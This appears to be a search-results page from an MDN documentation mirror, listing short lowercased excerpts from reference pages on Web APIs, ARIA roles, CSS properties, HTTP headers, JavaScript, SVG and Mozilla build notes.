... you can call requestidlecallback() within an idle callback function to schedule another callback to take place no sooner than the next pass through the event loop.
...And 8 more matches
WindowOrWorkerGlobalScope.btoa() - Web APIs
the windoworworkerglobalscope.btoa() method creates a base64-encoded ascii string from a binary string (i.e., a string object in which each character in the string is treated as a byte of binary data).
... you can use this method to encode data which may otherwise cause communication problems, transmit it, then use the atob() method to decode the data again.
... for example, you can encode control characters such as ascii values 0 through 31.
...And 8 more matches
HTML in XMLHttpRequest - Web APIs
the w3c xmlhttprequest specification adds html parsing support to xmlhttprequest, which originally supported only xml parsing.
... limitations to discourage the synchronous use of xmlhttprequest, html support is not available in the synchronous mode.
...also, this limitation avoids problems with legacy code that assumes that responsexml is null for http error pages (which often have a text/html response body).
...And 8 more matches
XRInputSource.targetRayMode - Web APIs
the read-only xrinputsource property targetraymode indicates the method by which the target ray for the input source should be generated and how it should be presented to the user.
... syntax let raymode = xrinputsource.targetraymode; value a domstring taken from the xrtargetraymode enumerated type, indicating which method to use when generating and presenting the target ray to the user.
... the possible values are: gaze the user is using a gaze-tracking system (or gaze input) which detects the direction in which the user is looking.
...And 8 more matches
XRPermissionDescriptor.requiredFeatures - Web APIs
the xrpermissiondescriptor dictionary's requiredfeatures property should be set prior to calling navigator.permissions.query() to a list of webxr features which must be supported for the app to work.
... this ensures that permissions are checked as applicable to ensure that those features are available upon request.
... syntax xrpermissiondescriptor = { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescriptor.requiredfeatures = reqfeaturelist; reqfeaturelist = xrpermissiondescriptor.requiredfeatures; value an array of strings indicating the webxr features which must be available for use by the app or site.
...And 8 more matches
XRReferenceSpace: reset event - Web APIs
this is common when the user calibrates or recalibrates an xr device, or if the device automatically changes its origin after losing tracking of the user, then re-gaining it.
... in the case of xrboundedreferencespace objects, the reset event can also be fired when the boundsgeometry changes.
... in either case, the event is sent before any webxr animation frames which make use of the new origin are executed.
...And 8 more matches
XRTargetRayMode - Web APIs
typically a target ray is drawn from the source of the targeting system along the target ray in the direction in which the user is looking or pointing.
... the target ray can be anything from a simple line (ideally fading over distance) to an animated effect, such as the science-fiction "phaser" style shown in the screenshot above.
... values gaze the user is using a gaze-tracking system (or gaze input) which detects the direction in which the user is looking.
...And 8 more matches
Using the group role - Accessibility
description this technique demonstrates how to use the group role and describes the effect it has on browsers and assistive technology.
... the group role is used to identify a set of user interface objects which, in contrast with a region, are not intended to be included in a table of contents or a page summary (such as the structures that are dynamically created by a script or assistive technologies); a group should not be considered a major perceivable section on a page.
... when the role is added to an element, the browser will send out an accessible group event to assistive technology products which can then notify the user about it.
...And 8 more matches
Using the link role - Accessibility
this technique demonstrates how to use the link role and describes the effect it has on browsers and assistive technology.
...when this role is added to an element, tab can be used to change focus to the link, and enter used to execute the link.
... note: where possible, it is recommended that you use a native <a> element rather than the link role, as native elements are more widely supported by older user agents and assistive technology.
...And 8 more matches
ARIA: timer role - Accessibility
the timer role indicates to assistive technologies that an element is a numerical counter listing the amount of elapsed time from a starting point or the remaining time until an end point.
... description the timer role indicates to assistive technologies that this part of the web content is a live region containing a timer listing the time remaining or elapsed time.
...while the value does not necessarily need to be machine parsable, it should continuously update at regular intervals unless the timer is paused or reaches its end-point.
...And 8 more matches
ARIA: dialog role - Accessibility
<div role="dialog" aria-labelledby="dialog1title" aria-describedby="dialog1desc"> <h2 id="dialog1title">your personal details were successfully updated</h2> <p id="dialog1desc">you can change your details at any time in the user account section.</p> <button>close</button> </div> description marking up a dialog element with the dialog role helps assistive technology identify the dialog's content as being grouped and separated from the rest of the page content.
...the best way to achieve this is by using the aria-labelledby attribute to the role="dialog" element.
...this approach is shown in the code snippet below: <div role="dialog" aria-labelledby="dialog1title" aria-describedby="dialog1desc"> <h2 id="dialog1title">your personal details were successfully updated</h2> <p id="dialog1desc">you can change your details at any time in the user account section.</p> <button>close</button> </div> keep in mind that a dialog's title and description text do not have to be focusable in order to be perceived by screen readers operating in a non-virtual mode.
...And 8 more matches
::first-letter (:first-letter) - CSS: Cascading Style Sheets
the ::first-letter css pseudo-element applies styles to the first letter of the first line of a block-level element, but only when not preceded by other content (such as images or inline tables).
... /* selects the first letter of a <p> */ p::first-letter { font-size: 130%; } the first letter of an element is not always trivial to identify: punctuation that precedes or immediately follows the first letter is included in the match.
... punctuation includes any unicode character defined in the open (ps), close (pe), initial quote (pi), final quote (pf), and other punctuation (po) classes.
...And 8 more matches
:scope - CSS: Cascading Style Sheets
WebCSS:scope
the :scope css pseudo-class represents elements that are a reference point for selectors to match against.
...when used from a dom api such as queryselector(), queryselectorall(), matches(), or element.closest(), :scope matches the element on which the method was called.
... syntax :scope examples identity match in this simple example, we demonstrate that using the :scope pseudo-class from the element.matches() method matches the element on which it's called.
...And 8 more matches
:visited - CSS: Cascading Style Sheets
WebCSS:visited
styling restrictions for privacy reasons, browsers strictly limit which styles you can apply using this pseudo-class, and how they can be used: allowable css properties are color, background-color, border-color, border-bottom-color, border-left-color, border-right-color, border-top-color, column-rule-color, outline-color, text-decoration-color, and text-emphasis-color.
...the alpha component of the element's non-:visited state will be used instead, except when that component is 0, in which case the style set in :visited will be ignored entirely.
... although these styles can be change the appearance of colors to the end user, the window.getcomputedstyle method will lie and always return the value of the non-:visited color.
...And 8 more matches
Detecting CSS animation support - CSS: Cascading Style Sheets
this article, based on this blog post by chris heilmann, demonstrates a technique for doing this.
... testing for css animation support this code will check to see if css animation support is available: var animation = false, animationstring = 'animation', keyframeprefix = '', domprefixes = 'webkit moz o ms khtml'.split(' '), pfx = '', elem = document.createelement('div'); if( elem.style.animationname !== undefined ) { animation = true; } if( animation === false ) { for( var i = 0; i < domprefixes.length; i++ ) { if( elem.style[ domprefixes[i] + 'animationname' ] !== undefined ) { pfx = domprefixes[ i ]; animationstring = pfx + 'animation'; keyframeprefix = '-' + pfx.tolowercase() + '-'; animation = true; break; } } } for starters we define a few variables.
...we set the animationstring to animation which is the property we want to set later on.
...And 8 more matches
CSS Animations tips and tricks - CSS: Cascading Style Sheets
.runbutton { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 12px; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } @keyframes colorchange { 0% { background: yellow } 100% { background: blue } } .box { width: 100px; height: 100px; border: 1px solid black; } .changing { animation: colorchange 2s; } there are two classes here.
...the animation details are included in the "changing" class, which says that the @keyframes named "colorchange" should be used over the course of two seconds to animate the box.
...the meat of this technique is in the play() function, which is called when the user clicks on the "run" button.
...And 8 more matches
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
for example, the same color might be used in hundreds of different places, requiring global search and replace if that color needs to change.
...which leads us to this: notice the repetition in the css.
... .five { background-color: var(--main-bg-color); } <div> <div class="one"></div> <div class="two">text <span class="five">- more text</span></div> <input class="three"> <textarea class="four">lorem ipsum</textarea> </div> this leads to the same result as the previous example, yet allows for one canonical declaration of the desired property value; very useful if you want to change the value across the entire page later.
...And 8 more matches
border-image-repeat - CSS: Cascading Style Sheets
syntax /* keyword value */ border-image-repeat: stretch; border-image-repeat: repeat; border-image-repeat: round; border-image-repeat: space; /* vertical | horizontal */ border-image-repeat: round stretch; /* global values */ border-image-repeat: inherit; border-image-repeat: initial; border-image-repeat: unset; the border-image-repeat property may be specified using one or two values chosen from the list of values below.
... values stretch the source image's edge regions are stretched to fill the gap between each border.
... repeat the source image's edge regions are tiled (repeated) to fill the gap between each border.
...And 8 more matches
font-weight - CSS: Cascading Style Sheets
css fonts level 4 extends the syntax to accept any number between 1 and 1000 and introduces variable fonts, which can make use of this much finer-grained range of font weights.
... if no match is found, look for available weights less than the target, in descending order.
... if no match is found, look for available weights greater than 500, in ascending order.
...And 8 more matches
image() - CSS: Cascading Style Sheets
if the directionality is omitted, the image won't be flipped if the language direction is changed.
...in such cases, the image() function renders as if no image were included, generating a solid-color image.
... omitting image sources while including a color is valid and creates a color swatch.
...And 8 more matches
mask-border-repeat - CSS: Cascading Style Sheets
syntax /* keyword value */ mask-border-repeat: stretch; mask-border-repeat: repeat; mask-border-repeat: round; mask-border-repeat: space; /* vertical | horizontal */ mask-border-repeat: round stretch; /* global values */ mask-border-repeat: inherit; mask-border-repeat: initial; mask-border-repeat: unset; the mask-border-repeat property may be specified using one or two values chosen from the list of values below.
... values stretch the source image's edge regions are stretched to fill the gap between each border.
... repeat the source image's edge regions are tiled (repeated) to fill the gap between each border.
...And 8 more matches
overflow-wrap - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-wrap: normal; overflow-wrap: break-word; overflow-wrap: anywhere; /* global values */ overflow-wrap: inherit; overflow-wrap: initial; overflow-wrap: unset; the overflow-wrap property is specified as a single keyword chosen from the list of values below.
... values normal lines may only break at normal word break points (such as a space between two words).
... anywhere to prevent overflow, an otherwise unbreakable string of characters — like a long word or url — may be broken at any point if there are no otherwise-acceptable break points in the line.
...And 8 more matches
overscroll-behavior - CSS: Cascading Style Sheets
the overscroll-behavior css property sets what a browser does when reaching the boundary of a scrolling area.
...l-behavior: auto; /* default */ overscroll-behavior: contain; overscroll-behavior: none; /* two values */ overscroll-behavior: auto contain; /* global values */ overscroll-behavior: inherit; overscroll-behavior: initial; overscroll-behavior: unset; by default, mobile browsers tend to provide a "bounce" effect or even a page refresh when the top or bottom of a page (or other scroll area) is reached.
... you may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called scroll chaining.
...And 8 more matches
text-align - CSS: Cascading Style Sheets
syntax /* keyword values */ text-align: left; text-align: right; text-align: center; text-align: justify; text-align: justify-all; text-align: start; text-align: end; text-align: match-parent; /* character-based alignment in a table column */ text-align: "."; text-align: "." center; /* block alignment values (non-standard syntax) */ text-align: -moz-center; text-align: -webkit-center; /* global values */ text-align: inherit; text-align: initial; text-align: unset; the text-align property is specified in one of the following ways: using the keyword values start, end, lef...
...t, right, center, justify, justify-all, or match-parent.
... using a <string> value only, in which case the other value defaults to right.
...And 8 more matches
Ajax - Developer guides
WebGuideAJAX
asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together, including html or xhtml, css, javascript, dom, xml, xslt, and most importantly the xmlhttprequest object.
... when these technologies are combined in the ajax model, web applications are able to make quick, incremental updates to the user interface without reloading the entire browser page.
... although x in ajax stands for xml, json is used more than xml nowadays because of its many advantages such as being lighter and a part of javascript.
...And 8 more matches
Web Audio playbackRate explained - Developer guides
the playbackrate property of the <audio> and <video> elements allows us to change the speed, or rate, at which a piece of web audio or video is playing.
... playbackrate basics let's starting by looking at a brief example of playbackrate usage: var myaudio = document.createelement('audio'); myaudio.setattribute('src','audiofile.mp3'); myaudio.playbackrate = 0.5; here we create an <audio> element, and set its src to a file of our choice.
... next we set playbackrate to 0.5, which represents half normal speed (the playbackrate is a multiplier applied to the original rate.) a complete example let's create a <video> element first, and set up video and playback rate controls in html: <video id="myvideo" controls> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type='video/mp4' /> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.webm" type='video/webm' /> </video> <form> <input id="pbr" type="range" value="1" min="0.5" max="4" step="0.1" > <p>playback rate <span id="currentpbr">1</span></p> </form> and apply some javascript to it: window.onload = function () { var v = document.getelementbyid("myvideo"); var p = document.getelementbyid("pbr"); var c = document.getelementbyid(...
...And 8 more matches
Media buffering, seeking, and time ranges - Developer guides
sometimes it's useful to know how much <audio> or <video> has downloaded or is playable without delay — a good example of this is the buffered progress bar of an audio or video player.
... buffered the buffered attribute will tell us which parts of the media has been downloaded.
... it returns a timeranges object, which will tell us which chunks of media have been downloaded.
...And 8 more matches
Creating and triggering events - Developer guides
this article demonstrates how to create and dispatch dom events.
... such events are commonly called synthetic events, as opposed to the events fired by the browser itself.
...*/ }, false); // dispatch the event.
...And 8 more matches
Introduction to HTML5 - Developer guides
it offers new features that provide not only rich media support but also enhance support for creating web applications that can interact with users, their local data, and servers more easily and effectively than was previously possible.
...to indicate that your html content uses html5, simply use: <!doctype html> doing so will cause even browsers that don't presently support html5 to enter into standards mode, which means that they'll interpret the long-established parts of html in an html5-compliant way while ignoring the new features of html5 they don't support.
... this is much simpler than the former doctypes, and shorter, making it easier to remember and reducing the amount of bytes that must be downloaded.
...And 8 more matches
Separate sites for mobile and desktop - Developer guides
the "separate sites" approach to mobile web development involves creating different sites for mobile and desktop web users.
... this approach has positive and negative aspects.
...in a nutshell, this technique uses server-side logic to solve all three goals of mobile web development at once — if the user’s browser looks like it’s on a phone, you serve them mobile content, formatted for their phone and optimized for speed.
...And 8 more matches
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
a tainted canvas is one which is no longer considered secure, and any attempts to retrieve image data back from the canvas will cause an exception to be thrown.
... let's assume we're serving our site using apache.
... consider the html5 boilerplate apache server configuration file for cors images, shown below: <ifmodule mod_setenvif.c> <ifmodule mod_headers.c> <filesmatch "\.(bmp|cur|gif|ico|jpe?g|png|svgz?|webp)$"> setenvif origin ":" is_cors header set access-control-allow-origin "*" env=is_cors </filesmatch> </ifmodule> </ifmodule> in short, this configures the server to allow graphic files (those with the extensions ".bmp", ".cur", ".gif", ".ico", ".jpg", ".jpeg", ".png", ".svg", ".svgz", and ".webp") to be accessed cross-origin from anywhere on the internet.
...And 8 more matches
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
WebHTMLElementkbd
nesting a <kbd> element inside a <samp> element represents input that has been echoed back to the user by the system.
... see echoed input, below, for an example.
... nesting a <samp> element inside a <kbd> element, on the other hand, represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen.
...And 8 more matches
<label> - HTML: Hypertext Markup Language
WebHTMLElementlabel
this means that, for example, a screenreader will read out the label when the user is focused on the form input, making it easier for an assistive technology user to understand what data should be entered.
...this increased hit area provides an advantage to anyone trying to activate the input, including those using a touch-screen device.
... alternatively, you can nest the <input> directly inside the <label>, in which case the for and id attributes are not needed because the association is implicit: <label>do you like peas?
...And 8 more matches
<menuitem> - HTML: Hypertext Markup Language
WebHTMLElementmenuitem
this includes context menus, as well as menus that might be attached to a menu button.
...commands can also optionally include a checkbox or be grouped to share radio buttons.
... (menu items for indirect commands gain checkboxes or radio buttons when defined against elements <input type="checkbox"> and <input type="radio">.) content categories none.
...And 8 more matches
ETag - HTTP
WebHTTPHeadersETag
it lets caches be more efficient and save bandwidth, as a web server does not need to resend a full response if the content has not changed.
... additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions").
... if the resource at a given url changes, a new etag value must be generated.
...And 8 more matches
Transfer-Encoding - HTTP
http/2 doesn't support http 1.1's chunked transfer encoding mechanism, as it provides its own, more efficient, mechanisms for data streaming.
...each segment of a multi-node connection can use different transfer-encoding values.
... header type response header forbidden header name yes syntax transfer-encoding: chunked transfer-encoding: compress transfer-encoding: deflate transfer-encoding: gzip transfer-encoding: identity // several values can be listed, separated by a comma transfer-encoding: gzip, chunked directives chunked data is sent in a series of chunks.
...And 8 more matches
Warning - HTTP
WebHTTPHeadersWarning
note: the warning header is soon to be deprecated; see warning (https://github.com/httpwg/http-core/issues/139) and warning: header & stale-while-revalidate (https://github.com/whatwg/fetch/issues/913) for more details.
... warning header fields can in general be applied to any message, however some warn-codes are specific to caches and can only be applied to response messages.
... 1xx warn-codes describe the freshness or validation status of the response and will be deleted by a cache after deletion.
...And 8 more matches
About JavaScript - JavaScript
javascript runs on the client side of the web, which can be used to design / program how the web pages behave on the occurrence of an event.
...language constructs, such as if statements, for and while loops, and switch and try ...
... catch blocks function the same as in these languages (or nearly so).
...And 8 more matches
getter - JavaScript
note the following when working with the get syntax: it can have an identifier which is either a number or a string; it must have exactly zero parameters (see incompatible es5 change: literal getter and setter functions must now have exactly zero or one arguments for more information); it must not appear in an object literal with another get or with a data entry for the same property ({ get x() { }, get x() { } } and { x: ..., get x() { } } are forbidden).
... examples defining a getter on new objects in object initializers this will create a pseudo-property latest for object obj, which will return the last array item in log.
... const obj = { log: ['example','test'], get latest() { if (this.log.length === 0) return undefined; return this.log[this.log.length - 1]; } } console.log(obj.latest); // "test" note that attempting to assign a value to latest will not change it.
...And 8 more matches
Array.prototype.sort() - JavaScript
if omitted, the array elements are converted to strings, then sorted according to each character's unicode code point value.
...for example, "banana" comes before "cherry".
... note : in utf-16, unicode characters above \uffff are encoded as two surrogate code units, of the range \ud800-\udfff.
...And 8 more matches
Function.name - JavaScript
javascript compressors and minifiers warning: be careful when using function.name and source code transformations, such as those carried out by javascript compressors (minifiers) or obfuscators.
...such transformations often change a function's name at build-time.
... source code such as: function foo() {}; let foo = new foo(); if (foo.constructor.name === 'foo') { console.log("'foo' is an instance of 'foo'"); } else { console.log('oops!'); } may be compressed to: function a() {}; let b = new a(); if (b.constructor.name === 'foo') { console.log("'foo' is an instance of 'foo'"); } else { console.log('oops!'); } in the uncompressed version, the program runs into the truthy-branch and logs "'foo' is an instance of 'foo'".
...And 8 more matches
Object.create() - JavaScript
syntax object.create(proto, [propertiesobject]) parameters proto the object which should be the prototype of the newly-created object.
... propertiesobject optional if specified and not undefined, an object whose enumerable own properties (that is, those properties defined upon itself and not enumerable properties along its prototype chain) specify property descriptors to be added to the newly-created object, with the corresponding property names.
... custom and null objects a new object created from a completely custom object (especially one created from the null object, which is basically a custom object with no members) can behave in unexpected ways.
...And 8 more matches
Object.freeze() - JavaScript
a frozen object can no longer be changed; freezing an object prevents new properties from being added to it, existing properties from being removed, prevents changing the enumerability, configurability, or writability of existing properties, and prevents the values of existing properties from being changed.
... in addition, freezing an object also prevents its prototype from being changed.
... for data properties of a frozen object, values cannot be changed, the writable and configurable attributes are set to false.
...And 8 more matches
RegExp() constructor - JavaScript
the regexp constructor creates a regular expression object for matching text with a pattern.
... for an introduction to regular expressions, read the regular expressions chapter in the javascript guide.
...patterns may include special characters to match a wider range of values than would a literal string.
...And 8 more matches
<mo> - MathML
WebMathMLElementmo
fence there is no visual effect for this attribute, but it specifies whether the operator is a fence (such as parentheses).
... form specifies the role of the operator in an enclosed expression, which affects spacing and other default properties.
... mathvariant this attribute specifies the logical class of the operator which varies in typography.
...And 8 more matches
SVG Presentation Attributes - SVG: Scalable Vector Graphics
alignment-baseline baseline-shift clip clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering cursor direction display dominant-baseline enable-background fill fill-opacity fill-rule filter flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-orientation-horizontal glyph-orientation-vertical image-rendering kerning letter-spacing lighting-color marker-end marker-mid marker-start mask opacity overflow pointer-events shape-rendering solid-color solid-opacity stop-color stop-opacity stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlim...
...it stroke-opacity stroke-width text-anchor text-decoration text-rendering transform unicode-bidi vector-effect visibility word-spacing writing-mode attributes alignment-baseline it specifies how an object is aligned along the font baseline with respect to its parent.
... value: auto|srgb|linearrgb|inherit; animatable: yes color-profile deprecated since svg 2 it defines which color profile a raster image included through the <image> element should use.
...And 8 more matches
href - SVG: Scalable Vector Graphics
WebSVGAttributehref
the exact meaning of that link depends on the context of each element using it.
... note: specifications before svg 2 defined an xlink:href attribute, which is now rendered obsolete by the href attribute.
... value <url> default value none animatable yes animate, animatemotion, animatetransform, set for the <animate>, <animatemotion>, <animatetransform>, and <set>, href defines a url referring to the element which is the target of this animation element and which therefore will be modified over time.
...And 8 more matches
systemLanguage - SVG: Scalable Vector Graphics
this list is matched against the language defined in the user preferences.
... 35 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <audio>, <canvas>, <circle>, <clippath>, <cursor>, <defs>, <discard>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47.
... systemlanguage is often used in conjunction with the <switch> element.
...And 8 more matches
Web security
connection security transport security layer (tls) the transport layer security (tls) protocol is the standard for enabling two networked applications or devices to exchange information privately and robustly.
... applications that use tls can choose their security parameters, which can have a substantial impact on the security and reliability of data.
...this secure connection allows clients to be sure that they are connected with the intended server, and to exchange sensitive data.
...And 8 more matches
<xsl:decimal-format> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:decimal-format> element defines the characters and symbols that are to be used in converting numbers into strings using theformat-number( ) function.
... syntax <xsl:decimal-format name=name decimal-separator=character grouping-separator=character infinity=string minus-sign=character nan=string percent=character per-mille=charater zero-digit=character digit=character pattern-separator=character /> required attributes none.
... decimal-separator specifies the decimal point character.
...And 8 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
take a copy of the following simple c example, and save it in a file called hello.c in a new directory on your local drive: #include <stdio.h> int main(int argc, char ** argv) { printf("hello world\n"); } now, using the terminal window you used to enter the emscripten compiler environment, navigate to the same directory as your hello.c file, and run the following command: emcc hello.c -s wasm=1 -o hello.html the options we’ve passed in with the command are as follows: -s wasm=1 — specifies that we want wasm output.
...it is enabled by default in firefox 52+ and chrome 57+/latest opera (you can also run wasm code in firefox 47+ by enabling the javascript.options.wasm flag in about:config, or chrome (51+) and opera (38+) by going to chrome://flags and enabling the experimental webassembly flag.) note: if you try to open generated html file (hello.html) directly from your local hard drive (e.g.
... file://your_path/hello.html), you will end up with an error message along the lines of both async and sync fetching of the wasm failed.
...And 8 more matches
WebVR — Virtual Reality for the Web - Game development
the concept of virtual reality in itself isn't new, but now we have the technology to have it working as it should be, and a javascript api to make use of it in web applications.
... vr devices with the popularity of oculus rift and a lot of other devices in production coming soon to the market, the future looks bright — we already have sufficient technology to make the vr experience "good enough" for playing games.
... there are many devices to chose from: desktop ones like oculus rift or htc vive, through consoles with playstation vr (which admittedly doesn't support webvr at this time), to mobile experiences like gear vr or google cardboard.
...And 7 more matches
Bounce off the walls - Game development
to overcome that we will implement some very simple collision detection (which will be explained later in more detail) to make the ball bounce off the four edges of the canvas.
... simple collision detection to detect the collision we will check whether the ball is touching (colliding with) the wall, and if so, we will change the direction of its movement accordingly.
...we need to check, on every frame, whether the ball is touching the top edge of the canvas — if yes, we'll reverse the ball movement so it will start to move in the opposite direction and stay within the visible boundaries.
...And 7 more matches
MDN Web Docs Glossary: Definitions of Web-related terms
web technologies contain long lists of jargon and abbreviations that are used in documentation and coding.
... glossary of terms a abstraction accessibility accessibility tree (aom) adobe flash ajax algorithm alignment container alignment subject alpha (alpha channel) alpn api apple safari application context argument aria arpa arpanet array ascii asynchronous atag attribute b bandwidth base64 baseline beacon bézier curve bidi bigint blink block block (css) ...
...block (scripting) block cipher mode of operation boolean boot2gecko bootstrap bounding box breadcrumb brotli browser browsing context buffer c cache cacheable caldav call stack callback function canonical order canvas card sorting carddav caret cdn certificate authority certified challenge-response authentication character character encoding character set chrome cia cipher cipher suite ciphertext class client hints closure cms code splitting ...
...And 7 more matches
Overflowing content - Learn web development
previous overview: building blocks next overflow is what happens when there is too much content to fit in a container.
...overflow happens when there is too much content to fit in a box.
... you might wonder why css works in such a messy way, displaying content outside of its intended container.
...And 7 more matches
Using your new knowledge - Learn web development
this assessment gives you a chance to do that.
...alternatively use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... working with css the following live example shows a biography, which has been styled using css.
...And 7 more matches
How do you make sure your website works properly? - Learn web development
you won't see this much in your browser, but it's good to know about "301" since search engines use this information a lot to update their indexes.
... 304: not modified the file has not changed since the last time you asked for it, so your browser can display the version from its cache, resulting in faster response times and more efficient use of bandwidth.
... as beginners checking our (simple) website, we'll deal most often with 200, 304, 403, and 404.
...And 7 more matches
Test your skills: Other controls - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... give the input 35 columns, and 10 rows of space in which to add comments.
... give the comments a maximum length of 100 characters.
...And 7 more matches
Dealing with files - Learn web development
choose a place to store your website projects.
... inside your chosen place, create a new folder called web-projects (or similar).
...some servers will replace the areas in your filenames with "%20" (the character code for spaces in uris), resulting in all your links being broken.
...And 7 more matches
What will your website look like? - Learn web development
sketching out your design next, grab pen and paper and sketch out roughly how you want your site to look.
... for your first simple webpage, there's not much to sketch out, but you should get in the habit of doing this now.
... note: even on real, complex websites, the design teams usually start out with rough sketches on paper and later on build digital mockups using a graphics editor or web technologies.
...And 7 more matches
Test your skills: Events - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript.
... we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions.
...And 7 more matches
Solve common problems in your JavaScript code - Learn web development
common beginner's mistakes correct spelling and casing if your code doesn't work and/or the browser complains that something is undefined, check that you've spelt all your variable names, function names, etc.
...firefox gives you "unreachable code after return statement".
...for example: const myobject = { name: 'chris', age: 38 } basic definitions what is javascript?
...And 7 more matches
CSS performance optimization - Learn web development
browsers follow a specific rendering path: paint only occurs after layout, which occurs after the render tree is created, which in turn requires both the dom and the cssom trees.
... to optimize the cssom construction, remove unnecessary styles, minify, compress and cache it, and split css not required at page load into additional files to reduce css render blocking.
...the browser blocks rendering until it parses all of these styles but will not block rendering on styles it knows it will not use, such the print stylesheets.
...And 7 more matches
Web performance resources - Learn web development
below is a quick review of best practices, tools, apis with links to provide more information about each topic.
... using resource hints such as rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload keep the size of javascript to a minimum.
... only use as much javascript as needed for the current page.
...And 7 more matches
Accessibility information for UI designers and developers
there are also plug-ins available for design software, like stark for sketch.
... for example, in this chart, it helps to add labels besides the colored chart lines:people who cannot see the difference between the colors, can use the labels instead.
... css lets authors change what the focus indicator look like, so you can design it to match branding.
...And 7 more matches
Links and Resources
guidelines & standards information and resources on section 508 - legal policy for us government purchases requiring software accessibility.
... web accessibility checklist from ibm.
... ibm's java accessibility checklist - guidelines to making java accessibility.
...And 7 more matches
Debugging Table Reflow
it can be invoked by set gecko_block_debug_flags=reflow the available options are: reflow really-noisy-reflow max-element-size space-manager verify-lines damage-repair lame-paint-metrics lame-reflow-metrics disable-resize-opt these options can be combined with a comma separated list messages generated by the reflow switch: block(div)(1)@00be5ac4: reflowing dirty lines computedwidth=9000 computedheight=1500 this message is generated inside of nsresult nsblockframe::reflowdirtylines(nsblockreflowstate& astate) it first shows the block id and address and then the computed width and height from the htmlreflowstate.
... debug_table_strategy editor's note: the following examples are not shown correctly due to the wiki's technical constraint.
...roup> <tr> <td style="width:80px">cell 1</td> <td>cell 2</td> <td>cell 3</td> <td>cell 4</td> </tr> </table> rendering: <colgroup><col><col width="50%"><col width="1*"><col></colgroup>cell 1cell 2cell 3cell 4 it will produce the following log at the entrance of assignnonpctcolwidths: assignnonpctcolwidths en max=4500 count=0 ***start table dump*** mcolwidths=-1 -1 -1 -1 col frame cache -> 0=00b93138 1=00b931f0 2=024dd728 3=024dd780 **start col dump** colindex=0 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 **end col dump** **start col dump** colindex=1 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 **end col dump** **start col dump** colindex=2 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 **end col dump** **sta...
...And 7 more matches
Simple SeaMonkey build
by default you will arrive in your windows user home directory which is likely to contain spaces in its path (e.g.
...mkdir /c/mozilla-src) and switch to it before building (cd /c/mozilla-src).
... # get the source # for aurora, use https://hg.mozilla.org/releases/comm-aurora/ and comm-aurora instead # for beta, use https://hg.mozilla.org/releases/comm-beta/ and comm-beta instead # for release, use https://hg.mozilla.org/releases/comm-release/ and comm-release instead hg clone https://hg.mozilla.org/comm-central/ cd comm-central python client.py checkout # set up a basic .mozconfig file echo 'ac_add_options --enable-application=suite' > .mozconfig # let's build seamonkey...
...And 7 more matches
Commenting IDL for better documentation
this article will help you understand how you can format your comments to help ensure that the conversion process can be automated as much as possible in order to ensure that your interface gets properly documented.
...we will take your comments and notes and turn them into beautiful, easy to search and read documentation.
...using these will help generate much higher quality documentation, faster, with less human intervention required.
...And 7 more matches
Introduction to Layout in Mozilla
overview basic data flow key data structures detailed walk-through incrementalism future tech-talks wrap-up, q&a basic data flow source document arrives via network apis incrementally “pumped” through the single-threaded layout engine parse, compute style, render; repeat css used for rendering all content content theoretically separate from “presentation” key data structures content node elements, attributes, leaves dom frame rectangular formatting primitive geometric information [0..n] per content node 2nd thru nth are “continuations” style context non-geometric information may be shared by adjacent frames reference counted, owned by frame ...
... view clipping, z-order, transparency [0..1] per frame, owned by frame widget native window [0..1] per view, owned by view key data structures the document owns the content model, and one or more presentations exposed programmatically via dom apis the presentation owns the frame hierarchy frames own the style contexts, views, widgets presentation has media type, dimensions, etc.
... creates a parser, returned as nsistreamlistener back to the docshell creates a content sink, which is linked to the parser and the document creates a documentviewerimpl object, which is returned as nsicontentviewer back to the docshell documentviewerimpl creates pres context and pres shell content model construction content arrives from network via nsistreamlistener::ondataavailable parser tokenizes & processes content; invokes methods on nsicontentsink with parser...
...And 7 more matches
Add-on Manager
many functions in the add-on manager interface operate asynchronously returning results through callbacks passed to the functions.
